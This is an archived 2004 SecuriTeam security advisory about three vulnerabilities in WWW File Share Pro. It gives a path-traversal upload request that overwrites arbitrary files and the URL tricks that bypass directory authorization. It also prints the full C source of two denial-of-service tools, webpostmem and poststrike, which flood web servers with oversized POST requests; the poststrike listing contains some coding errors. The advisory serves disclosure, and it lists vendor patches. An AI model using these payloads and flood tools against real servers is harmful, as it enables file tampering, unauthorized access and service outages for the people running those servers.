

[NT] Multiple Vulnerabilities in WWW Fileshare Pro

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0056.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/15/04

To: list@securiteam.com

Date: 15 Jan 2004 19:05:48 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Multiple Vulnerabilities in WWW Fileshare Pro

SUMMARY

<<http://www.wfshome.com>> WWW File Share Pro is "a small HTTP server that can help you sharefiles with your friends. They can download files from your computer or upload files from theirs. Simply specify a directory for downloads and a directory for uploads. WWW File Share Pro supports password protection. If you enable password protection, only authorized user can access your service". Three vulnerabilities exist in WWW File Share Pro that allow an attacker to write arbitrary files, crash the server, and bypass the authorization mechanism.

DETAILS

Vulnerable Systems:

- * WWW File Share Pro version 2.42 and less

Immune Systems:

- * WWW File Share Pro version 2.48
- * WWW File Share Pro version 2.46 with the relevant patch

Arbitrary File Overwriting

The program has an option enabled by default that lets people to upload their files in a dedicated directory specified by the server's

Securiteam: [NT] Multiple Vulnerabilities in WWW Fileshare Pro

administrator. A flaw allows any user to create or overwrite any file in the remote server simply using a dot-dot pattern in the name of the file passed to the server. The following is the right parameter sent to the server:

```
Content-Disposition: form-data; name="file"; filename="file.txt"
```

This is the modified parameter to exploit the vulnerability:

```
Content-Disposition: form-data; name="file"; filename="../../../file.txt"
```

Example:

The following is an example data to send with telnet or netcat to the server that will create a file called badfile.txt three directories up the upload folder (so usually the file will be c:\badfile.txt):

```
POST /upload2.htm HTTP/1.1
```

```
Content-Type: multipart/form-data;
```

```
boundary=-----00000000000000000000000000000000
```

```
Content-Length: ignored_by_this_specific_server
```

```
-----00000000000000000000000000000000
```

```
Content-Disposition: form-data; name="file";
```

```
filename="../../../badfile.txt"
```

```
Content-Type: text/plain
```

I'm a bad file in a bad location.

If you see me, you are vulnerable because an attacker can upload a malicious file everywhere in your system overwriting any existent file. Now go to download the latest patch for your webserver or disable the Upload function!

```
-----00000000000000000000000000000000
```

```
Content-Disposition: form-data; name="Submit"
```

Upload

```
-----00000000000000000000000000000000-----
```

Denial of Service

An attacker can crash the remote server issuing a long POST command. The effects are the CPU at 100% if data is not less than 2 Megabytes. If data sent is longer than 2 Megabytes the server will probably crash.

To test the CPU at 100% use "webpostmem 2000 1 server".

To test the crashing of the server use webpostmem with a higher first value or use "poststrike server".

To try to freeze the system you can launch "webpostmem 1000 10 server" and trying other methods.

Exploit:

```
webpostmem:
```

```
/*
```

by Luigi Auriemma

Securiteam: [NT] Multiple Vulnerabilities in WWW Fileshare Pro

Exploit:

- CPU up to 100%
- CLOSE_WAIT for each connection, until cannot be allocated more sockets
- eat all the memory the attacker wants
- on some machines (Win for example) it "could" be a fast DoS because the sockets will be finished quickly

Example of what happen to the system with 10 connections of 512 Kb:
"10 --> 5242880" == webs allocates 5948 Kb of memory

This source is covered by GNU/GPL

UNIX & WIN VERSION

```
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif

#define VER "0.1"
#define BUFFSZ 1024 /* 1 kylobyte, do not change it!!! */
#define PORT 80
#define POSTSZ sizeof(BUG) + 11
#define BUG "POST / HTTP/1.0\r\n" \
           "Content-Length: %lu\r\n" \
           "\r\n"

u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    u_char *buff,
           *post;
    int sd,
        err,
        j;
```

Securiteam: [NT] Multiple Vulnerabilities in WWW Fileshare Pro

```
long divx,
    connum;
u_short port = PORT;
u_long memkb,
    i,
    postlen,
    total;
struct sockaddr_in peer;

setbuf(stdout, NULL);

fputs("\n"
    "General webserver POST/Content-Length resources eater "VER"\n"
    "by Luigi Auriemma\n"
    "e-mail: aluigi@altervista.org\n"
    "web: http://aluigi.altervista.org\n"
    "\n", stdout);

if (argc < 4) {
    printf("\nUsage: %s <*kilobytes> <number_of_connections> <server>
[port(80)]\n"
        "\n"
        "* amount of kilobytes that will be allocated by the server
for each\n"
        " connection (choose 1 kilobyte to quickly test the sockets
consumption\n"
        " and more to test the memory consumption)\n"
        "\n", argv[0]);
    exit(1);
}

divx = atol(argv[1]); /* divx = number of kilobytes */
connum = atol(argv[2]);
memkb = divx << 10; /* 1 memkb = 1 kilobyte, memkb contains the total
mem to eat */
if(argc > 4) port = atoi(argv[4]);

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

peer.sin_addr.s_addr = resolv(argv[3]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

buff = malloc(BUFFSZ);
if(!buff) std_err();
memset(buff, 'a', BUFFSZ);
```

Securiteam: [NT] Multiple Vulnerabilities in WWW Fileshare Pro

```
post = malloc(POSTSZ);
if(!post) std_err();

postlen = snprintf(
    post,
    POSTSZ,
    BUG,
    memkb + 1); /* +1 is needed */

printf("\nStarting %ld connections to: %s:%hu\n\n",
    connum,
    inet_ntoa(peer.sin_addr),
    port);

total = 0;
for(i = 1; i <= connum; i++) {
    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();
    err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
    if(err < 0) std_err();

    printf("%lu ", i);

    err = send(sd, post, postlen, 0);
    if(err <= 0) break;
    fputs("—> ", stdout);

    /* 1 divx = 1024 bytes */
    /* 1024 divx = 1 memkb */

    for(j = 0; j < divx; j++) {
        err = send(sd, buff, BUFFSZ, 0);
        if(err <= 0) break;
    }

    total += memkb;
    printf("%lu\r", total);
    close(sd);
}

fputs("\n\nExploit terminated\n\n", stdout);

return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
```

Securiteam: [NT] Multiple Vulnerabilities in WWW Fileshare Pro

```
hp = gethostbyname(host);
if(!hp) {
    printf("\nError: Unable to resolv hostname (%s)\n", host);
    exit(1);
} else host_ip = *(u_long*)(hp->h_addr);
}

return(host_ip);
}

#ifdef WIN32
void std_err(void) {
    perror("\nError");
    exit(1);
}
#endif

poststrike
/*
by Luigi Auriemma

This source is covered by GNU/GPL

UNIX & WIN VERSION
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define sleepx sleep
#define MILLS 1 // 1 second = 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#define sleepx usleep
#define MILLS 1000 // 1 second = 1000000
#endif

#define VER "0.1"
#define PORT 80
#define SENDSZ 4096
```

Securiteam: [NT] Multiple Vulnerabilities in WWW Fileshare Pro

```
#define REQSZ 512
#define TIMESEC 5
#define REQ "POST / HTTP/1.0\r\n" \
    "Host: %s\r\n" \
    "Content-Length: 2147483647\r\n" \
    "\r\n"

u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
    u_char *sendme = 0,
        *req = 0,
        *host = 0,
        *tmp = 0,
        btype = 0;
    struct sockaddr_in peer;
    int sd,
        err,
        reqlen,
        shiterr = 1,
        millisec = 0;
    u_long tot;
    u_short port = PORT;
    clock_t start,
        stop;

    setbuf(stdout, NULL);

    fputs("\n"
        "POSTStrike "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@altervista.org\n"
        "web: http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 2) {
        printf("\n"
            "Usage: %s [options] <[http://]server[:port(%d)]>\n"
            "\n"
            "Options:\n"
            "-m NUM milliseconds to wait each time after the sending of %d"
            "bytes of data\n"
            " (default 0) (useful to limit your bandwidth)\n"
            "-b upload bandwidth: shows \"bytes per second\" instead of"
            "kilobytes\n"
            "\n\n"
            "Examples:\n"
            " poststrike http://www.whatyouwant.com:8080\n"
            " poststrike -m 500 127.0.0.1 (500 = half second)\n"
            " poststrike -m 100 -t 127.0.0.1 (500 = half second)\n"
```

Securiteam: [NT] Multiple Vulnerabilities in WWW Fileshare Pro

```
    "\n"
    "Note: is possible that NOT all the webservers allow this type
of attack, so\n"
    "the tool will terminate itself if it receives 5 errors\n"
    "\n", argv[0], PORT, SENDSZ);
    exit(1);
}

argc--;
for(err = 1; err < argc; err++) {
    switch(argv[err][1]) {
        case 'm': millisec = atoi(argv[++err]); break;
        case 'b': btype = 1; break;
        default: {
            printf("\nError: Wrong argument (%s)\n", argv[err]);
            exit(1);
        }
    }
}

#ifdef WIN32
    WSADATA wsadata;
    WSStartup(MAKEWORD(1,0), &wsadata);
#endif

    /* URL, host, port, uri */
    host = strstr(argv[argc], "//");
    if(host) host += 2;
    else host = argv[argc];
    tmp = strchr(host, '/');
    if(tmp) *tmp = 0x00;
    tmp = strrchr(host, ':');
    if(tmp) {
        port = atoi(tmp + 1);
        *tmp = 0x00;
    }

    peer.sin_addr.s_addr = resolv(host);
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    printf("\n"
        "Host: %s\n"
        "Port: %hu\n"
        "delay: %d ms\n"
        "\n", inet_ntoa(peer.sin_addr), port, millisec);
    millisec *= MILLS;

    /* alloc */
```

Securiteam: [NT] Multiple Vulnerabilities in WWW Fileshare Pro

```
req = malloc(REQSZ + 1);
if(!req) std_err();
reqlen = snprintf(
    req,
    REQSZ,
    REQ,
    host);

sendme = malloc(SENDSZ + 1);
if(!sendme) std_err();
memset(sendme, 'a', SENDSZ);

while(1) {

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) std_err();

    fputs("Connecting...", stdout);
    err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
    if(err < 0) std_err();
    fputs("ok. Starting to send data\n", stdout);

    err = send(sd, req, reqlen, 0);
    if(err < 0) std_err();

    tot = 0;
    start = time(0);
    while(1) {
        err = send(sd, sendme, SENDSZ, 0);
        if(err < SENDSZ) {
            printf("\nAlert: connection terminated. If you receive
other messages like this, it means you cannot use the POST attack versus
this server (%d)\n\n", shiterr++);
            if(shiterr <= 5) {
                break;
            } else {
                fputs("\nError: sorry the server doesn't allow POST
attacks\n\n", stdout);
                close(sd);
                exit(1);
            }
        }
    }

    sleepx(millisecond);

    tot += err;
    stop = time(0) - start;
    if(stop > TIMESEC) {
        if(btype) printf("%10lu bytes/s\r", tot / stop);
        else printf("%10lu kb/s\r", (tot / stop) >> 10);
        tot = 0;
    }
}
```

Securiteam: [NT] Multiple Vulnerabilities in WWW Fileshare Pro

```
        start = time(0);
    }
}

close(sd);
}

return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolve hostname (%s)\n",
                host);
            exit(1);
        } else host_ip = *(u_long *)(hp->h_addr);
    }

    return(host_ip);
}

#ifdef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif
```

Directory Authorization Bypassing

If the server has some protected directories which requires authorization. An attacker can bypass the authorization process and gain full access to them. This bug affects only each protected directory and NOT the "whole site" protection (option in User/Password setting). To exploit the bug an attacker can insert a dot at the end of the URL or one or more slash or backslash at the beginning of the URI.

Examples:

<http://server/directory/>

<http://server^directory/>

<http://server///directory/>

"GET \directory/ HTTP/1.0"

Vendor Status:

In order to mitigate the vulnerabilities, upgrade to version 2.48 or apply

Securiteam: [NT] Multiple Vulnerabilities in WWW Fileshare Pro

the upgrade patch to version 2.46. Note: the version 2.46 patches all the bugs except the directory authorization bypass fixed only in the 2.48 version.

Version 2.48 can be downloaded from:

<<http://www.wfshome.com/download.htm>> <http://www.wfshome.com/download.htm>

The patch for version 2.46:

<http://www.wfshome.com/download/upgrade_wfsp.exe>

http://www.wfshome.com/download/upgrade_wfsp.exe

ADDITIONAL INFORMATION

The original advisory is available from:

<<http://alugi.altervista.org/adv/wfshare-adv.txt>>

<http://alugi.altervista.org/adv/wfshare-adv.txt>.

The information has been provided by <<mailto:alugi@altervista.org>> Luigi Auriemma

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.